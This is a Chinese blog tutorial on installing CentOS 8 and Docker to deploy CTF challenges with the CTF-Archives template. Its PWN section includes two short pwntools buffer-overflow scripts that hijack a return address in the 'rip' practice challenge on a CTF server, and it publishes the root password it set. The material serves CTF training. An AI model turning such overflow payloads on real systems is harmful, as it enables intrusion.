从零开始部署CTF题目环境(docker容器)

本教程将教会大家如何安装一台可以部署docker容器形式的CTF题目的CentOS服务器。

操作步骤

1-下载操作系统镜像文件

虚拟操作系统:CentOS 8  (CentOS 9 毛病多,先不装)

镜像文件下载地址,点击X86_64即可

CentOS Stream

选一个下载快的,我选的清华 ,下那个12.2G的

下载得到

2-创建CentOS 虚拟机

VMware WorkStation点击创建新的虚拟机

选择典型即可

选择第二项,并指定你下载好的镜像文件

指定一下虚拟机名称,存放位置也改一下

50GB(只是后期不想扩容,20GB也行)

 自定义硬件,按照自己配置来,内存拿一半吧

自定义一下硬件,不然默认配置会很慢。内存取电脑一半,处理器1  内核4

第一次启动会有点久

3-安装CentOS 8系统

ctrl+alt+回车 切换全屏,选择简体中文!

配置Root密码

 密码为Rotten2023 ,点击完成

创建新用户centos

时间和区间设为上海

安装目的地点进去,然后退出来就行

没有报错,点击开始安装,时间可能会有点久

4-CentOS 换源

CentOS8 更改YUM源_centos8更换yum源-CSDN博客

换好后

yum update

5-安装docker

安装所需的软件包以允许 dnf 使用存储库通过 HTTPS 下载软件包:

sudo dnf install -y dnf-utils device-mapper-persistent-data lvm2

添加 Docker 存储库:

sudo dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo

安装docker引擎

sudo dnf install -y --allowerasing docker-ce docker-ce-cli containerd.io


启动docker服务

sudo systemctl start docker

设置开机自启(可选)

sudo systemctl enable docker

验证安装情况

sudo docker run hello-world

本地没镜像,报错 ,可使用以下指令手动拉取(默认自动下载,但我这里卡住了,所以手动拉)

sudo docker pull hello-world

 OK了

6-docker换源

Docker安装及镜像源修改_更换docker镜像源-CSDN博客

如果发现那个nano编辑器用不来,可以看这个

CentOS下nano编辑器使用教程_centos 中noao 怎么用-CSDN博客

7-题目docekr部署 

借助巨魔的CTF靶机模板

GitHub - CTF-Archives/ctf-docker-template: Deployment template for docker target machine in ctf for CTFd and other platforms that support dynamic flags

先安装git,root用户

yum install git

 拉取项目

git clone 项目网址

PWN篇

取出一个模板,替换src中的二进制文件 

默认文件名为attachement,如需替换,需修改配置文件

替换好之后,这个目录下打开控制台

docker compose up -d

如果没设置IP, 或者忘了

查看容器列表

docker ps

 查看指定容器IP

docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' 1397af75dab3   #最后的是容器ID

就会自动构造image并运行docker容器,nc测试

注意,我用的是rip的题目文件,由于版本升级,可能wp要参考新版本的

旧版本无法打通

from pwn import * p=remote('node4.buuoj.cn',27036)payload=b'a'*(15)  + p64(0x401186)p.sendline(payload)p.interactive()

加了中堆栈平衡的题解

from pwn import * #context(os='linux', arch='amd64', log_level='debug')p=remote('node4.buuoj.cn',29110)payload=b'a'*(23) + p64(0x0401016)  + p64(0x401186)#p.recvuntil("please input\n")p.sendline(payload)p.interactive()

这是2023年第三次尝试自己搭建pwn环境,前两次均以失败告终,这次,在诸位大佬和群友的帮助下,终于得以完成。博主太菜了,给大家带来了麻烦,希望这篇博客能帮助大家更好的上手题目环境的搭建。

 本次学习需要由衷感谢以下几位大佬的支持

CTF-Archives开发者-感谢大大们的模板

华为大佬-协助docker问题解决

Rotten战队交流群群友-顶级pwn手-解决脚本问题

 

还有许多篇博客的编写者

祝愿CTF-Archives项目越做越好,加油!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/584636.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Async Function: 异步编程的新时代

更新:2023-05-19 01:53 一、Async Function是什么? Async Function,即异步函数,是JavaScript中异步编程的一种全新方式。它的引入解决了回调地狱和Promise链式调用中的繁琐问题,使异步编程更加简洁和优雅。在ES2017&…

Linux: dev: gcc: --coverage 迷惑行为最终生成不了gcda文件?

前些天写的gcov相关的功能:https://mzhan017.blog.csdn.net/article/details/135140232; 最近和同事看一个问题,就是虽然将所需的选项–coverage加到了产品的编译环境里,但是还是没有生成所希望的文件。而且自己写小程序来验证这个选项,也是没问题,可以产生程序运行时的…

自定义docker镜像,ubuntu安装命令并导出

文章目录 问题现象解决步骤相关命令详细介绍docker save 与 docker loaddocker import 与 docker exportdocker commit 问题现象 我们的通讯服务,需要监测前端设备的在线情况(是否在线、丢包率、延迟等),使用ping命令去实现此功能…

flutter是什么

“flutter” 是一种移动应用开发框架,由谷歌开发和维护。Flutter 可用于构建高性能、美观且跨平台的移动应用程序,它支持同时在多个平台上运行,包括: iOS:可以构建原生的iOS应用。 Android:可以构建原生的…

手把手教你配置Jenkins自动化邮件通知

完成基于Jenkins的持续集成部署后,自动化测试执行后,测试结果需要通知到相关人员,除了钉钉通知外我们还可以通过Email通知到对应负责人,这里记录一下测试结果通过Jenkins邮件通知的配置与部署 01、安装插件 方法1: 进…

Java:SpringBoot Invalid character found in the request target 特殊字符传参报错

1.原因:出现了特殊字符 SpringBoot 2.0.0 以上都采用内置tomcat8.0以上版本,而tomcat8.0以上版本遵从RFC规范添加了对Url的特殊字符的限制,url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~四个特殊字符以及保留字符( ! * ’ ( ) ; : &…

第P8周:YOLOv5-C3模块实现

>- **🍨 本文为[🔗365天深度学习训练营](https://mp.weixin.qq.com/s/rbOOmire8OocQ90QM78DRA) 中的学习记录博客** >- **🍖 原作者:[K同学啊 | 接辅导、项目定制](https://mtyjkh.blog.csdn.net/)** 一、 前期准备 1. 设…

c基础学习(一)

学习网站&#xff1a; C语言的过去与未来 - C语言教程 - C语言网 (dotcpp.com)https://www.dotcpp.com/course/c-intros/ C 语言简介 - C 语言教程 - 网道 (wangdoc.com)https://wangdoc.com/clang/intro 变量&#xff1a; #include<stdio.h> /*引入头文件-- 标准…

用g2o实现拟合曲线

文章目录 安装和编译g2o使用g2o拟合曲线主函数代码CMakeLists.txt编译和运行运行结果安装和编译g2o git clone -b 20200410_git https://github.com/RainerKuemmerle/g2o.git cd g2o mkdir build && cd build && cmake .. &&

python 选择题进阶

选择题&#xff08;每题只有一个正确答案&#xff09; Python 中用于定义函数的关键字是&#xff1f; A. defineB. functionC. defD. fun 在 Python 中&#xff0c;下列哪个不是可变数据类型&#xff1f; A. ListB. TupleC. StringD. Set 下列哪种循环更适合在不知道循环次数的…

git 常用命令总结

git 工作原理图&#xff1a; git 常用命令及解释: 命令解释例子git init在当前目录初始化一个新的 Git 仓库。git initgit clone <repository>克隆一个远程仓库到本地。git clone https://github.com/example/repository.gitgit add <file>将文件的变化添加到暂存…

Gaussian-Splatting 训练并导入Unity中

这个周末玩点啥~&#x1f41e; &#x1f365;环境安装&#x1f4a1;安装C编译工具&#x1f4a1;安装Python&#x1f4a1;安装CUDA&#x1f4a1;添加ffmpeg到环境变量Path添加COLMAP-3.8-windows-cuda文件路径到环境变量Path&#x1f4a1;pytorch安装&#x1f4a1;tqdm 安装&…

『JavaScript』全面解析JavaScript中的防抖与节流技术及其应用场景

&#x1f4e3;读完这篇文章里你能收获到 理解防抖&#xff08;Debouncing&#xff09;和节流&#xff08;Throttling&#xff09;的概念&#xff1a;了解这两种性能优化技术如何帮助我们更有效地处理频繁触发的事件掌握防抖与节流的实现方法&#xff1a;学习如何在JavaScript中…

WPF+Halcon 培训项目实战(8):WPF+Halcon初次开发

前言 为了更好地去学习WPFHalcon&#xff0c;我决定去报个班学一下。原因无非是想换个工作。相关的教学视频来源于下方的Up主的提供的教程。这里只做笔记分享&#xff0c;想要源码或者教学视频可以和他联系一下。 相关链接 微软系列技术教程 WPF 年度公益课程 Halcon开发 CSD…

本地搭建微信小程序或者公众号开发服务器的简单方法

现在小程序开发需要购买服务器&#xff0c;价格还是有点贵的&#xff0c;这里好代码网分享一个可以花费小代价就可以搭建一个本地服务器&#xff0c;可以用来开发小程序和微信公众号等。 1.域名&#xff08;备案过的&#xff09; 2.阿里云注册免费的https证书 3.配置本地的ngi…

使用SCP在Linux中安全复制文件:参数详解

SCP&#xff08;Secure Copy&#xff09;是一个在Linux和其他类Unix系统中使用的命令行工具&#xff0c;用于在本地和远程主机之间安全地复制文件和目录。本文将详细介绍SCP的多个常用参数&#xff0c;并通过示例进行说明。 基本语法 scp [options] source destination其中&a…

[足式机器人]Part4 南科大高等机器人控制课 CH12 Robotic Motion Control

本文仅供学习使用 本文参考&#xff1a; B站&#xff1a;CLEAR_LAB 笔者带更新-运动学 课程主讲教师&#xff1a; Prof. Wei Zhang 课程链接 &#xff1a; https://www.wzhanglab.site/teaching/mee-5114-advanced-control-for-robotics/ 南科大高等机器人控制课 Ch12 Robotic …

大数据技术发展史

今天我们常说的大数据技术&#xff0c;其实起源于Google在2004年前后发表的三篇论文&#xff0c;也就是我们经常听到的“三驾马车”&#xff0c;分别是分布式文件系统GFS、大数据分布式计算框架MapReduce和NoSQL数据库系统BigTable。 你知道&#xff0c;搜索引擎主要就做两件事…

C语言 volatile关键字

volatile关键字介绍 volatile 是一个关键字&#xff0c;用于修饰变量&#xff0c;表示该变量是易变的&#xff0c;即可能在任何时候被意外地改变。在多线程编程中&#xff0c;当多个线程同时访问同一个变量时&#xff0c;由于线程之间的交互和优化&#xff0c;可能会导致变量的…

JAVA进化史: JDK11特性及说明

JDK 11&#xff08;Java Development Kit 11&#xff09;是Java平台的一个版本&#xff0c;于2018年9月发布。这个版本引入了一些新特性和改进&#xff0c;以下是其中一些主要特性。 HTTP Client&#xff08;标准化&#xff09; JDK 11引入了一个新的HTTP客户端&#xff0c;用…